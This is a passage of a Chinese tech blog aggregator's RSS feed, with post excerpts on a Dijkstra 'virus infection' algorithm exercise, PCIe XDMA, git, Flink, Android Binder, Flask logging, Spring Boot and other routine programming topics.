      <description>OD统一考试&#xA;题解： Java / Python / C++&#xA;题目描述 一个局域网只内有很多台电脑，分别标注为 1 ~ N 的数字。相连接的电脑距离不一样，所以感染时间不一样，感染时间用t 表示。&#xA;其中网络内一台电脑被病毒感染，求其感染网络内所有的电脑最少需要多长时间。如果最后有电脑不会感染，则返回-1。&#xA;给定一个数组 times 表示一台电脑把相邻电脑感染所用的时间: path[i] = {i, j, t} 表示: 电脑i 上的病毒感染 j，需要时间 t 。&#xA;输入描述 第一行输入一个整数N，表示局域网内电脑个数 N，1&amp;lt;= N&amp;lt;= 200 ；&#xA;第二行输入一个整数M, 表示有 M 条网络连接；&#xA;接下来M行, 每行输入为 i,j,t 。表示电脑 i 感染电脑 j 需要时间t。(1 &amp;lt;= i, j &amp;lt;= N)&#xA;最后一行为病毒所在的电脑编号。&#xA;输出描述 输出最少需要多少时间才能感染全部电脑，如果不存在输出 -1&#xA;示例1 输入： 4 3 2 1 1 2 3 1 3 4 1 2 输出： 2 示例2 输入： 4 3 2 1 1 2 3 1 3 4 1 3 输出： -1 题解 经典的最短路径问题，使用 Dijkstra 算法求解。</description>
    </item>
    <item>
      <title>【xdma】 pcie.bar设置</title>
      <link>https://bchobby.github.io/posts/b34c4b8b1fb2c889cbe2f78d5056f1c7/</link>
      <pubDate>Wed, 27 Dec 2023 14:10:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b34c4b8b1fb2c889cbe2f78d5056f1c7/</guid>
      <description>FPGA优质开源项目– PCIE通信 xdma&#xA;两者保持一致&#xA;FPGA开源项目 – PCIE I/O控制卡 xdma&#xA;PCIe的XDMA应用&#xA;读写部分分为两种，一种是数据的读写，另一种是配置数据的读写，在数据读写部分，DMA通过MIG控制DDR完成数据读写。配置数据读写通过与BRAM通过AXI-lite总线连接完成，XDMA将PCIe配置信息存在BRAM，在进行配置信息读写时，将传入主机映射到用户逻辑的地址，然后与偏移地址处理（物理地址=段地址&amp;lt;&amp;lt;4+偏移地址），所以在bram设置时需要将其偏移地址设置的与主机地址映射的偏移地址相同。&#xA;对于DDR则不必，设置的话还减少了可使用的内存空间，只是一个袋子，写在哪里就从哪里读取即可，必须设置为0。&#xA;此处将配置信息存储到BRAM，通过AXI-lite总线读写Bram。&#xA;（1）、BAR为32bit，不使能64bit，prefetchable表示预读取，不使能。&#xA;（2）、映射空间选择1M，大小随意。&#xA;（3）、PCIe to AXI Translation：主机侧BAR地址与用户逻辑侧地址不同，通过设置转换地址实现BAR地址到AXI地址的转换。比如主机一侧BAR地址为0，则主机访问BAR地址0转换到AXI-Lite总线就是0x8000_0000.&#xA;PCIe to DMA Interface：数据传输宽度64bit，DMA控制器一般只支持数据8字节对齐的情况。&#xA;当数据从上位机通过PCIe接口发送到端点设备，XDMA内部自行解包对将数据与指令进行分析，得到读写操作的指令地址，并对DDR进行读写操作。操作的结果通过AXI接口返回XDMA，XDMA对数据进行组包，之后通过物理层发出，实现数据的DMA控制。&#xA;DMA的bar不需要映射ddr大小的空间</description>
    </item>
    <item>
      <title>软考软件设计师学习笔记</title>
      <link>https://bchobby.github.io/posts/3a91226e5ea3e8f4ffe09ca0c1f9208c/</link>
      <pubDate>Wed, 27 Dec 2023 14:00:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a91226e5ea3e8f4ffe09ca0c1f9208c/</guid>
      <description>目录&#xA;进制转换&#xA;按权展开法&#xA;短除法&#xA;减法&#xA;8421法&#xA;码制&#xA;数据的表示-原/反/补/移码&#xA;浮点数的表示&#xA;运算过程&#xA;特点&#xA;逻辑运算&#xA;关系运算符&#xA;逻辑运算符&#xA;校验码概述&#xA;奇偶校验码&#xA;CRC循环冗余校验码&#xA;海明校验码&#xA;奇偶校验码&#xA;CRC循环冗余校验码&#xA;海明校验码&#xA;CPU组成（运算器与控制器）&#xA;运算器 控制器&#xA;寻址方式&#xA;指令的基本概念&#xA;CISC与RISC&#xA;流水线技术&#xA;存储系统概述&#xA;层次化存储&#xA;层次化存储结构&#xA;层次化存储结构-分类&#xA;Cache&#xA;Cache-概念&#xA;Cache-映像&#xA;Cache-直接相联映像&#xA;Cache-全相联映像&#xA;Cache-组相联映像&#xA;总体表格&#xA;主存编址计算&#xA;编址&#xA;编址与计算&#xA;存储单元&#xA;编址内容&#xA;总容量&#xA;输入/输出技术&#xA;总线&#xA;可靠性&#xA;性能指标&#xA;计算机组成与体系章节回顾&#xA;操作系统章节概述&#xA;操作系统概念概述&#xA;操作系统的作用&#xA;特殊的操作系统&#xA;进程的概念&#xA;进程的状态&#xA;进程调度 PV的概念&#xA;信号量与PV操作&#xA;前驱图与PV操作&#xA;死锁资源数计算&#xA;进制转换 进制数码基数位权十进制（D）0,1,2,3,4,5,6,7,8,91010^k二进制（B）0,122^k十六进制（H）0~9,A,B,C,D,E,F1616^k 按权展开法 作用场景：R进制转十进制&#xA;解释：将R进制按权展开后相加&#xA;如二进制：10100.01=1*2^4+0*2^3+1*2^2+0*2^1+0*2^0+0*2^-1+1*2^-2&#xA;这种方法也可以先将10100.01当成十进制，如：10100.01=1*10^4+1*10^2+1*10^-2&#xA;然后再把10^k这个位权变成R^k，这样就能做到快速转换。</description>
    </item>
    <item>
      <title>git强制pull</title>
      <link>https://bchobby.github.io/posts/24467371b2c3dc7bc992bf88981c64a8/</link>
      <pubDate>Wed, 27 Dec 2023 13:53:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24467371b2c3dc7bc992bf88981c64a8/</guid>
      <description>git fetch --all git reset --hard origin/master master为仓库分支</description>
    </item>
    <item>
      <title>【EI、scopus稳定检索】2024年软件工程，网络与电力科学国际会议（ICSENPS 2024）</title>
      <link>https://bchobby.github.io/posts/ff4a0d345e3c354bc2775bae494eae00/</link>
      <pubDate>Wed, 27 Dec 2023 13:51:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff4a0d345e3c354bc2775bae494eae00/</guid>
      <description>【EI、scopus稳定检索】2024年软件工程，网络与电力科学国际会议（ICSENPS 2024） 2024 International Conference on Software Engineering, Networks, and Power Science&#xA;2024年软件工程，网络与电力科学国际会议（ICSENPS 2024）将在武汉举行。会议旨在为从事管理和软件工程领域的专家、学者、工程技术人员和技术研究人员提供一个平台，分享科学研究成果和前沿技术，了解学术发展趋势，拓宽研究思路，加强学术研究和探索，促进学术成果产业化合作。大会诚挚邀请国内外高校专家、科研机构专家、学者、工商界人士及其他相关人员参加交流。 大会主题：&#xA;软件架构&#xA;软件设计方法&#xA;软件领域建模&#xA;软件工程决策支持&#xA;软件测试技术&#xA;自动化的软件设计和合成&#xA;计算机工程&#xA;计算机软件&#xA;自动化的软件设计和合成&#xA;软件代理技术&#xA;电子政务工程&#xA;移动/无线计算/人工智能再造&#xA;逆向工程&#xA;设计与过程工程&#xA;科学/软件测试技术&#xA;软件重用和度量&#xA;测量技术与仪器&#xA;5G通信与网络&#xA;遥感和卫星通信&#xA;线传感器和通信网络&#xA;通讯渠道和移动设备&#xA;网络和信息安全技术&#xA;卫星通信技术&#xA;现代光纤通信技术&#xA;汇编语言程序设计&#xA;机电一体化和机器人&#xA;MEMS-微型传感器和结构&#xA;微型机械&#xA;信号处理&#xA;电力电子和电力驱动&#xA;电力市场与电力系统经济学&#xA;功率优化&#xA;电能质量和电磁兼容性&#xA;电力系统及其自动化&#xA;电力系统建模、仿真和分析&#xA;电力系统规划与调度&#xA;电力系统保护、运行和控制&#xA;电力系统可靠性和安全性&#xA;电力系统稳定性&#xA;电力系统和能源&#xA;电力系统放松管制&#xA;电力牵引系统和控制&#xA;电磁与应用超导&#xA;电磁兼容&#xA;电磁暂态程序&#xA;电子材料&#xA;电子、信息和控制系统&#xA;电工技术&#xA;高压及绝缘技术&#xA;高压工程及绝缘技术&#xA;工业过程控制和自动化&#xA;信息技术应用&#xA;智能控制系统&#xA;智能系统和方法</description>
    </item>
    <item>
      <title>Flink项目实战篇 基于Flink的城市交通监控平台（下）</title>
      <link>https://bchobby.github.io/posts/f30f6286dcd67cdc54992e1340c0de7f/</link>
      <pubDate>Wed, 27 Dec 2023 13:47:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f30f6286dcd67cdc54992e1340c0de7f/</guid>
      <description>系列文章目录 Flink项目实战篇 基于Flink的城市交通监控平台（上）&#xA;Flink项目实战篇 基于Flink的城市交通监控平台（下）&#xA;文章目录 系列文章目录4. 智能实时报警4.1 实时套牌分析4.2 实时危险驾驶分析4.3 出警分析4.4 违法车辆轨迹跟踪 5. 实时车辆布控5.1 实时车辆分布情况5.2 布隆过滤器(Bloom Filter)5.3 实时外地车分布情况 4. 智能实时报警 本模块主要负责城市交通管理中，可能存在违章或者违法非常严重的行为，系统可以自动实时报警。可以实现亿级数据在线分布式计算秒级反馈。满足实战的“实时”需要，争分夺秒、聚力办案。做的真正“零”延迟的报警和出警。主要功能包括：实时套牌分析，实时危险驾驶分析等。&#xA;4.1 实时套牌分析 当某个卡口中出现一辆行驶的汽车，我们可以通过摄像头识别车牌号，然后在10秒内，另外一个卡口（或者当前卡口）也识别到了同样车牌的车辆，那么很有可能这两辆车之中有很大几率存在套牌车，因为一般情况下不可能有车辆在10秒内经过两个卡口。如果发现涉嫌套牌车，系统实时发出报警信息，同时这些存在套牌车嫌疑的车辆，写入Mysql数据库的结果表中，在后面的模块中，可以对这些违法车辆进行实时轨迹跟踪。&#xA;本需求可以使用CEP编程，也可以使用状态编程。我们采用状态编程。&#xA;完整的代码：&#xA;object RepatitionCarWarning { def main(args: Array[String]): Unit = { val env: StreamExecutionEnvironment = StreamExecutionEnvironment.getExecutionEnvironment //导入scala包 import org.apache.flink.streaming.api.scala._ //设置并行度 env.setParallelism(1) //设置事件时间 env.setStreamTimeCharacteristic(TimeCharacteristic.EventTime) val props = new Properties() props.setProperty(&#34;bootstrap.servers&#34;,&#34;mynode1:9092,mynode2:9092,mynode3:9092&#34;) props.setProperty(&#34;group.id&#34;,&#34;test4&#34;) props.setProperty(&#34;key.deserializer&#34;,classOf[StringDeserializer].getName) props.setProperty(&#34;value.deserializer&#34;,classOf[StringDeserializer].getName) val trafficDStream: DataStream[TrafficLog] = env.addSource(new FlinkKafkaConsumer[String](&#34;traffic-topic&#34;, new SimpleStringSchema(), props).setStartFromEarliest()) // val trafficDStream: DataStream[TrafficLog] = env.</description>
    </item>
    <item>
      <title>设计模式之-桥梁模式，快速掌握桥梁模式，通俗易懂的讲解桥梁模式以及它的使用场景</title>
      <link>https://bchobby.github.io/posts/63094b7fabdab3879dadc78ef27ab240/</link>
      <pubDate>Wed, 27 Dec 2023 13:36:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63094b7fabdab3879dadc78ef27ab240/</guid>
      <description>文章目录 一、快速掌握桥梁模式二、使用场景三、代码示例五、 桥梁模式的优点包括：听一个故事来讲解桥梁模式，加深理解 一、快速掌握桥梁模式 设计模式中的桥梁模式（Bridge Pattern）是一种结构型设计模式，它将抽象部分与实现部分分离，使它们可以独立地变化。桥梁模式的核心思想是通过组合而不是继承来实现不同维度的变化。&#xA;通俗地说，桥梁模式就像是一座桥，将两个不同的维度连接在一起。其中，一个维度是抽象部分（Abstraction），它定义了高层业务逻辑，并包含对实现部分的引用；另一个维度是实现部分（Implementation），它定义了底层实现的接口。&#xA;通过桥梁模式，我们可以在两个维度上独立地变化和扩展，而不会相互影响。这种解耦的设计使得系统更加灵活，易于维护和扩展。&#xA;二、使用场景 当一个类存在两个独立变化的维度时，使用桥梁模式可以将这两个维度进行解耦，使得它们可以独立地变化。当需要在多个对象间共享实现时，使用桥梁模式可以减少子类的数量，提高系统的可扩展性。当一个类需要在运行时切换不同的实现时，桥梁模式可以实现运行时的动态切换。 三、代码示例 下面是一个简单的示例代码来说明桥梁模式的应用：&#xA;// 实现部分接口 interface DrawingAPI { void drawCircle(double x, double y, double radius); } // 具体的实现部分 class DrawingAPI1 implements DrawingAPI { @Override public void drawCircle(double x, double y, double radius) { System.out.printf(&#34;API1.drawCircle at (%.2f, %.2f) with radius %.2f%n&#34;, x, y, radius); } } // 具体的实现部分 class DrawingAPI2 implements DrawingAPI { @Override public void drawCircle(double x, double y, double radius) { System.</description>
    </item>
    <item>
      <title>Binder系列-service_manager.c</title>
      <link>https://bchobby.github.io/posts/61db86a57b550e9e2e0e169b634ab141/</link>
      <pubDate>Wed, 27 Dec 2023 12:33:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61db86a57b550e9e2e0e169b634ab141/</guid>
      <description>1. service_manager的任务 open 驱动告诉驱动，它是“servicemanager”在一个循环里&#xA;从驱动读取数据&#xA;解析数据&#xA;调用，根据code执行注册服务或者获取服务 （图来自韦老师的视频）&#xA;2.代码流程 2.1.open驱动 //frameworks\native\cmds\servicemanager\service_manager.c int main(int argc, char **argv) { struct binder_state *bs; bs = binder_open(128*1024); //第一步打开驱动 if (!bs) { ALOGE(&#34;failed to open binder driver\n&#34;); return -1; } //其他代码省略 return 0; } 2.2.告诉驱动，它是“servicemanager” binder_become_context_manager&#xA;//frameworks\native\cmds\servicemanager\service_manager.c int main(int argc, char **argv) { struct binder_state *bs; bs = binder_open(128*1024); //第一步打开驱动 if (!bs) { ALOGE(&#34;failed to open binder driver\n&#34;); return -1; } if (binder_become_context_manager(bs)) { //第二步告诉驱动，它是ServiceManager ALOGE(&#34;</description>
    </item>
    <item>
      <title>基于51单片机的八路抢答器（普中）</title>
      <link>https://bchobby.github.io/posts/b203747cb92fb3e39517b5e511299e90/</link>
      <pubDate>Wed, 27 Dec 2023 11:35:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b203747cb92fb3e39517b5e511299e90/</guid>
      <description>基于51系列单片机的八路抢答器设计通常包括以下几个主要部分： 1. **硬件设计：** **控制器选择：** 通常会选择STC89C52或其他类似的51系列单片机作为核心控制器，因为它具有足够的输入输出端口和内置定时器/计数器资源来处理抢答器的功能需求。&#xA;**输入模块：** 设计8个独立的抢答按钮，每个按钮对应一个选手。这些按钮连接到单片机的输入端口，当选手按下按钮时，单片机可以检测到相应的输入变化。&#xA;**输出模块：** 包括显示模块和指示灯。显示模块是LED数码管，用于显示抢答结果、计时信息和选手分数。指示灯通常用于表示哪个选手正在回答。&#xA;**定时器/计数器：** 利用单片机的定时器/计数器实现抢答计时。例如，可以设定一个定时器可调节分钟和秒，在主持人宣布开始后开始计时，一旦有选手抢答，立即停止计时并记录抢答时间。&#xA;2. **软件设计：** **主程序：** 主程序负责初始化各个硬件模块，设置定时器参数，并进入等待抢答的状态。&#xA;**中断服务程序：** 当有选手按下抢答按钮时，会产生一个中断请求。中断服务程序会立即响应，停止定时器，判断是否为有效抢答（如是否在规定时间内），然后更新显示和指示灯状态。&#xA;**计分和显示子程序：** 根据抢答结果和规则更新选手的分数，并通过显示模块显示出来。&#xA;**犯规处理子程序：** 如果有选手在主持人宣布开始前抢答，或者在其他选手已经抢答后再次抢答，会被判定为犯规。犯规处理子程序会进行相应的扣分或禁赛等操作。&#xA;3. **功能特性：** （必须看！！！！！） **八路抢答：** 允许最多8位选手同时参与抢答。&#xA;**抢答成功提示：** 抢答成功会有一段时间蜂鸣器提醒。&#xA;**抢答时间调整：** 抢答的允许时间可以根据需要进行调整分钟和秒。&#xA;在实际设计过程中，还需要考虑电路的抗干扰能力、电源稳定性、用户界面友好性等因素。此外，为了方便调试和测试，可以使用仿真软件进行系统仿真和调试。&#xA;具体按键功能&#xA;模块化编程，注释清晰 /*************************** 闲鱼搜索：科创工作室 ***************************/ #include &amp;lt;REGX52.H&amp;gt; #include &amp;lt;Delay.h&amp;gt; #include &amp;lt;juzheng.h&amp;gt; #include &amp;lt;ledliang.h&amp;gt; #include &amp;lt;Timer0.h&amp;gt; char miao=20,fen=2; unsigned char flag1=0,s0_flag=0,k_flag=0,flag2=0,flag3=0; unsigned char keynumber; int beepnum=0; sbit beep=P2^5; sbit k1=P3^1; sbit k2=P3^0; sbit k3=P3^2; sbit k4=P3^3; void key_scan() { if((k1==0)&amp;amp;&amp;amp;(flag2==0)) //调试界面时间切换 flag1：0调试分钟界面 1调试秒钟界面 { ET0=0; Delay(200); flag1++; if(flag1&amp;gt;=2) { flag1=0; } } if((k4==0)&amp;amp;&amp;amp;(flag2==0)) //切换界面 flag3：0调试 1抢答 { flag3=1; if(s0_flag==0) //判断界面标志位 在抢答界面的话就进行抢答 否则无操作 { ET0=1; } if(s0_flag==1) { s0_flag=0; } } } 普中板子展示</description>
    </item>
    <item>
      <title>2024 年软件工程将如何发展</title>
      <link>https://bchobby.github.io/posts/f3f35c3395902d08e5d648a9ba57cd34/</link>
      <pubDate>Wed, 27 Dec 2023 11:34:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3f35c3395902d08e5d648a9ba57cd34/</guid>
      <description>软件开发目前正在经历一场深刻的变革，其特点是先进自动化的悄然但显着的激增。这一即将发生的转变有望以前所未有的规模简化高质量应用程序的创建和部署。&#xA;它不是单一技术引领这一演变，而是创新的融合。从人工智能(AI) 和数字孪生技术，到植根于DevOps原则的平台工程，到增强弹性的混沌工程技术，再到扩大使用内部开发人员门户以提高生产力，创新正在结合起来，彻底改变软件工程的各个方面。&#xA;挑战和机遇在于有效利用这些能力，使组织能够培养他们的 DevOps 文化。这种转变将简化软件交付，涵盖基于云的系统到边缘计算平台。​&#xA;人工智能和数字孪生实现 DevOps 自动化 各种形式的人工智能正在稳步渗透到应用程序开发工具和 DevOps 平台中。然而，到目前为止，人工智能集成到开发工具中的速度比集成到 DevOps 平台中的速度快，这可能会导致不平衡。代码库的增长超出了 DevOps 团队跟上步伐的能力。&#xA;然而，注入人工智能并在云端运行的下一代 DevOps 平台即将出现。到 2024 年初，devops 团队将能够使用自然语言界面部署应用程序以参与大型语言模型(LLM)。这些法学硕士将接受培训，以自动执行各种手动任务，利用人工智能进行 IT 运营 ( AIOps ) 来消除目前困扰应用程序开发的瓶颈。&#xA;除了人工智能的这些突破性进步之外，数字孪生技术也被应用于应用程序部署。Devops 团队很快将通过简化 DevOps 工作流程管理的可视化界面从更高级别的抽象中受益。这一推动的核心是使用数字孪生技术创建并与自动化框架无缝集成的 IT 环境模型。不久之后，这些模型将被嵌入到持续集成和持续交付（CI/CD）平台中。&#xA;当与人工智能结合时，这些数字孪生技术将自动推断模型之间的关系。他们将生成代码并根据需要动态配置应用程序和基础设施。此外，实时反馈循环将提供对配置可行性的洞察，使部署更加透明。&#xA;最终目标是为 DevOps 环境提供一定程度的抽象，从而消除大部分复杂性。这将使更广泛的组织能够采用 DevOps 最佳实践。从本质上讲，DevOps 正处于数字化转型的风口浪尖，就像我们在许多其他流程中见证的现代化一样。&#xA;平台工程提高了开发人员的生产力 DevOps 不仅取决于工具和平台，还取决于文化。平台工程已成为一种集中 DevOps 流程和工作流管理的方法。平台工程的倡导者主张消除冗余的 DevOps 平台，转而采用统一的 CI/CD 平台作为企业标准。这种方法有望大规模管理 DevOps 工作流程，同时降低总体 IT 成本。&#xA;平台工程在提高开发人员生产力方面也发挥着关键作用。由精通 DevOps 最佳实践的平台工程团队提供的开发人员门户使开发人员能够在明确定义的边界内自助服务其需求，从而提高代码质量和安全性。平台工程师作为这些门户的管理者，消除了开发人员构建和维护应用程序开发环境时经常遇到的摩擦。&#xA;投资平台工程的主要动机是提高开发人员的生产力，在当前充满挑战的经济环境中，吸引和留住开发人员变得越来越困难，这是一个至关重要的考虑因素。&#xA;混沌工程与 CI/CD 集成 除非 IT 环境作为一个整体变得更有弹性，否则这些技术或文化进步都不会产生实质性成果。混沌工程已成为一门 DevOps 学科，它严格测试分布式计算系统承受不可预见的中断的能力。这是通过故意破坏组件来完成的。通过系统地揭示弱点，混沌工程为开发运营团队提供了对其应用程序环境的深刻洞察，可以利用这些洞察来增强从网络安全到成本效率的各个方面。&#xA;挑战在于如何将混沌工程工具和平台无缝集成到现有的 DevOps 工作流程中，而不会导致组织停机。实现这一目标的最自然途径是用于构建、部署和测试应用程序的 CI/CD 平台。</description>
    </item>
    <item>
      <title>新能源光伏行业CRM：推动绿色能源发展与高效客户管理的双重突破</title>
      <link>https://bchobby.github.io/posts/43e59007c9fb48c3aebd1201bc85b70d/</link>
      <pubDate>Wed, 27 Dec 2023 11:17:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43e59007c9fb48c3aebd1201bc85b70d/</guid>
      <description>随着“碳中和”计划以及传统能源价格的不断飙升，我国新能源光伏产业在国家“双碳”战略目标和市场需求的双重驱动下高歌猛进，中国光伏产业新增装机量、累计装机量连续多年位居全球首位。CRM在光伏产业中的作用也日益突出。下面为您介绍新能源光伏行业的CRM解决方案。&#xA;行业概述 光伏企业是指从事光伏产品研发、制造和销售的企业。&#xA;光伏产业的快速发展同时也伴随着数字化的创新，数字化转型能够赋予企业新的竞争优势。对于现阶段的光伏产业而言，数字化带来的全生命周期监控管理、生产和工艺流程可视化、以及降本增效是光伏、乃至新能源行业最直观的变化。&#xA;光伏产品主要包括太阳能电池板、组件、逆变器、控制器、蓄电池等，应用于太阳能光伏发电系统。这些产品的制造和销售需要经过多个环节和流程，包括原材料采购、生产加工、组装测试、安装调试等。&#xA;行业解决方案 新能源光伏行业的产业链比较长、涉及配件多，所以针对光伏产业的CRM解决方案也需要有实力的企业才能提供。&#xA;依托新能源CRM多年在全球企服市场的积淀，面向企业数字化转型与升级、企业市场全球化发展等实际场景，旨在以开放、灵活的技术优势，充分满足当下企业运营及管理的需求。&#xA;该解决方案以CRM为核心，帮助企业从粗放模式转为精细化生产，涉及到多人协作、任务交办、过程数据记录、数据分析与共享。通过销售自动化、全渠道沟通、绩效管理等功能模块进行项目跟进。&#xA;新能源CRM软件的优点 一、 简单易用：SaaS 模式的CRM系统是在云端运行的，只需注册一个账号即可直接使用，同时拥有手机端CRM移动版。UI界面简洁清新，且支持自定义界面。&#xA;二、 快速部署：注册账号的同时获取了管理员权限，在设置里可以创建不同角色和对应的权限，搭建公司的组织架构，将不同岗位人员分配在不同的流程环节上，并且设置不同的操作权限，就像是将公司搬到了网络上一样，部署非常的便捷。&#xA;三、 定制灵活：无论你是什么行业，使用哪种类型的销售流程和管理模式，在CRM系统里添加自定义模块和字段，就可以生成符合自己行业和公司的工作流和审批流等一系列流程，绘制整个企业管理过程的蓝图，并且任何时间都可以调整这些模块和字段。&#xA;四、 高性价比：为了扶持广大的小微企业，部分厂商推出了免费版，功能依然强大，如果公司正在创业期，CRM免费版足够用了。而对于中大型企业有高级版和旗舰版供选择，系统会不定期更新功能和用户体验，一次付费即可终生享有。&#xA;五、 高扩展性：客户管理系统并非只是独立的系统，同时集成了其它云服务功能，涉及到财务、开发、营销、客服等，通过数据接口将企业各个部门串联起来，实现数据互通，并且为其他第三方软件提供接口，例如呼叫中心、短信平台等。为什么厂商可以做到这一点，因为他们拥有自主研发团队，核心技术掌握在自己手里。&#xA;六、 AI智能：当AI智能融入CRM系统，让你快人一步。目前CRM已经植入了“销售助理-Zia”，简单的举个例子，当你给用户群发营销邮件时，Zia会自动分析邮件打开率和打开时间，并提醒你哪个时间发送邮件打开率会更高。Zia会的东西还有很多，帮助你在正确的路上做正确的事，工作效率翻番。&#xA;CRM解决方案示例&#xA;CRM厂商将更加专注于产品力的提升，以成熟的技术体系与优质的产品服务，持续为市场输出切实可行的解决方案。愿与广大能源企业携手超越，为新能源光伏行业提供更加有效的解决方案。</description>
    </item>
    <item>
      <title>数据结构常见算法总结</title>
      <link>https://bchobby.github.io/posts/241e19adec00ac6520a0d20e77751284/</link>
      <pubDate>Wed, 27 Dec 2023 11:10:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/241e19adec00ac6520a0d20e77751284/</guid>
      <description>图的广度遍历 初始化visited[]数组for 对未访问过的顶点调用广度优先遍历算法广度优先遍历 先将参数送进来的序号对应的visited[v]置为true，并将v入队队列Q不空时循环：遍历Q中元素，并将未访问过的边表结点入队 bool visited[max_vex_num]; void BFSTraverse(Graph G){ //初始化访问数组 for(int i = 0; i&amp;lt; G.vexnum; i++) visited[i] = false; //广度遍历每个未访问过的节点 for(int v = 0; v &amp;lt; G.vexnum; v++) if(!visited[v]) BFS(G,v); } void BFS(Graph G, int v){ int p; int Q[G.vexnum]; int front = 0, rear = 0; //先访问进来的节点，并入队 visit(v); visited[v] = true; Q[rear++] = v; while(front != rear){ p = Q[front++]; for(int w = FirstNeighbor(G,p); w&amp;gt;=0; w = NextNeighbor(G,p,w)){ //访问未被访问过的边表节点，并入队 if(!</description>
    </item>
    <item>
      <title>easypoi 校验导入excel 将校验不通过字段返回</title>
      <link>https://bchobby.github.io/posts/8f0cfc8138048802565e2b111a9a610c/</link>
      <pubDate>Wed, 27 Dec 2023 11:05:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f0cfc8138048802565e2b111a9a610c/</guid>
      <description>import cn.afterturn.easypoi.excel.ExcelImportUtil; import cn.afterturn.easypoi.excel.entity.ImportParams; import cn.afterturn.easypoi.excel.entity.enmus.ExcelType; import cn.afterturn.easypoi.excel.entity.result.ExcelVerifyHandlerResult; import cn.afterturn.easypoi.handler.inter.IExcelVerifyHandler; import java.io.File; import java.util.List; public class ExcelVerifyDemo { public static void main(String[] args) { // 指定Excel文件路径 String filePath = &#34;path/to/your/excel/file.xlsx&#34;; // 导入Excel数据 ImportParams params = new ImportParams(); params.setTitleRows(1); params.setHeadRows(1); params.setVerifyHandler(new MyVerifyHandler()); // 设置自定义校验处理器 List&amp;lt;ExcelData&amp;gt; dataList = ExcelImportUtil.importExcel(new File(filePath), ExcelData.class, params); // 处理校验结果 for (ExcelData data : dataList) { if (data.getVerifyResult() != null &amp;amp;&amp;amp; !data.getVerifyResult().isSuccess()) { System.out.println(&#34;校验不成功的数据：&#34; + data); } } } // 定义Excel数据模型类 public static class ExcelData { // 标记需要校验的字段 @NotNull private String columnA; @Length(min = 5, max = 10, message = &#34;</description>
    </item>
    <item>
      <title>Spring Boot 之helloworld</title>
      <link>https://bchobby.github.io/posts/a9170ff4ca34259a80f962fcc63acc96/</link>
      <pubDate>Wed, 27 Dec 2023 11:05:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9170ff4ca34259a80f962fcc63acc96/</guid>
      <description>Spring Boot 是一个基于 Spring 框架的开源框架，它可以帮助开发者快速、高效地搭建一个 Spring 应用程序。下面是 Spring Boot 的简单使用说明：&#xA;安装 Java 开发环境和 Maven；在 Maven 中添加 Spring Boot 的依赖；创建一个 Spring Boot 应用程序入口类；在入口类中添加 Spring Boot 的相关注解，例如 @SpringBootApplication；编写业务代码和配置文件；运行 Spring Boot 应用程序。 具体操作步骤如下：&#xA;安装 Java 和 Maven： 如果你未安装 Java 和 Maven，你可以参考以下链接进行安装和配置：&#xA;Java 安装：https://www.oracle.com/java/technologies/javase-downloads.html&#xA;Maven 安装：https://maven.apache.org/install.html&#xA;在 Maven 中添加 Spring Boot 的依赖： 在 pom.xml 文件中添加以下依赖：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.5.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 这个依赖可以帮助你导入 Spring Boot 的核心包和一些常用的依赖库。&#xA;创建一个 Spring Boot 应用程序入口类： 创建一个 Java 类，命名为 Application，这个类应该包含一个 main() 方法。Spring Boot 应用程序总是从这个 main() 方法开始执行。在这个类中，你需要使用 @SpringBootApplication 注解来注释这个类，并使用 SpringApplication.</description>
    </item>
    <item>
      <title>Flask 日志</title>
      <link>https://bchobby.github.io/posts/f99d8b9a91569b69821093d06640449b/</link>
      <pubDate>Wed, 27 Dec 2023 11:00:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f99d8b9a91569b69821093d06640449b/</guid>
      <description>flask 日志 代码源码源自编程浪子flask点餐小程序代码&#xA;记录用户访问日志 和 错误日志 这段代码是一个基于Flask框架的日志服务类，用于 记录用户访问日志 和 错误日志。代码中定义了一个名为LogService的类，其中包含了两个静态方法：addAccessLog 和 addErrorLog。&#xA;addAccessLog方法用于记录用户的访问日志。在该方法中：&#xA;首先创建一个AppAccessLog实例化对象target，并将请求的URL、引用URL、IP地址、查询参数等信息赋值给相应的属性。如果当前用户已登录，则将用户ID也赋值给uid属性。然后获取请求的User-Agent，并赋值给ua属性。最后，将target对象添加到数据库会话中，并提交事务。&#xA;addErrorLog方法用于记录错误日志。在该方法中：&#xA;首先判断请求的URL是否为favicon.ico，如果是则直接返回。然后创建一个AppErrorLog对象target，并将请求的URL、引用URL、查询参数、错误内容等信息赋值给相应的属性。最后，将target对象添加到数据库会话中，并提交事务。&#xA;这段代码的作用是在用户访问网站时记录访问日志和错误日志，以便后续进行分析和排查问题&#xA;common/libs/LogService.py # -*- coding: utf-8 -*- from flask import request,g from application import app,db import json from common.libs.Helper import getCurrentDate from common.models.log.AppAccessLog import AppAccessLog from common.models.log.AppErrorLog import AppErrorLog class LogService(): @staticmethod def addAccessLog(): target = AppAccessLog() #target_url 访问的url target.target_url = request.url #referer_url 当前访问的refer target.referer_url = request.referrer # remote adj，（计算机）远程的、遥控的 target.ip = request.remote_addr target.</description>
    </item>
    <item>
      <title>Java String.format 保留小数点后几位</title>
      <link>https://bchobby.github.io/posts/b2436b87bd7e9953871ef5a90963670d/</link>
      <pubDate>Wed, 27 Dec 2023 10:59:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2436b87bd7e9953871ef5a90963670d/</guid>
